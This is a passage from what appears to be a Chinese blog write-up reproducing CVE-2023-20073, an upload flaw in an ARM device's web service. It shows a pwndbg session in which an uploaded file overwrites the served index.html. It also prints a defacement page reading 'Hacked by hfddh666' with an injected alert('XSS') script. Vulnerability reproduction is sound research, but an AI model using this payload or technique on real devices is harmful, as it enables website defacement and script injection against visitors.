0x11748 ◂— ldr r0, [pc, ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── ► 0x11748 ldr r0, [pc, 0x1174c add r1, sp, 0x11750 bl 0x11754 ldrb r3, [sp, 0x11758 cmp r3, 0x1175c beq 0x11760 add r0, sp, 0x11764 bl 0x11768 subs r4, r0, 0x1176c bge 0x11770 ldr r0, [pc, ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ sp 0x7ef8e070 —▸ 0x176c0b8 ◂— 'index.html' 01:0004│ 0x7ef8e074 —▸ 0x76f34910 —▸ 0x76ee1000 ◂— 0x464c457f 02:0008│ 0x7ef8e078 ◂— 0x0 03:000c│ 0x7ef8e07c ◂— 'mv -f /tmp/upload/0000000001 /tmp/www//index.html' 04:00 10│ 0x7ef8e080 ◂— 'f /tmp/upload/0000000001 /tmp/www//index.html' 05:0014│ 0x7ef8e084 ◂— 'mp/upload/0000000001 /tmp/www//index.html' 06:0018│ 0x7ef8e088 ◂— 'pload/0000000001 /tmp/www//index.html' 07:001c│ 0x7ef8e08c ◂— 'd/0000000001 /tmp/www//index.html' ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x11748 ──────────────────────────────────────────────────────────────────────────────── pwndbg> x/s $sp+12 0x7ef8e07c : "mv -f /tmp/upload/0000000001 /tmp/www//index.html" pwndbg> c Continuing. [Inferior 1 (process 13846 ) exited normally] pwndbg>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 / Attached; pid = 13846 Listening on port 9999 Remote debugging from host 192.168 .30 .136 Child exited with status 0 GDBserver exiting / ls -la /tmp/www/index.html -rw-rw-rw- 1 www-data www-data 139 Apr 6 09:38 /tmp/www/index.html / <!DOCTYPE html> <html> <head><title>Hacked</title></head> <body> <h1>Hacked by hfddh666> <script>alert('XSS' )</script> </body> </html>/
成功修改了
执行net.sh可以会遇到的问题的修复
1 2 3 4 5 6 7 8 sudo mv /etc/resolv.conf /etc/resolv.conf.bak ./net.sh sudo mv /etc/resolv.conf.bak /etc/resolv.conf
参考 从零开始复现CVE-2023-20073 | ZIKH26’s Blog
CVE-2023-20073复现 | S1nec-1o’s B1og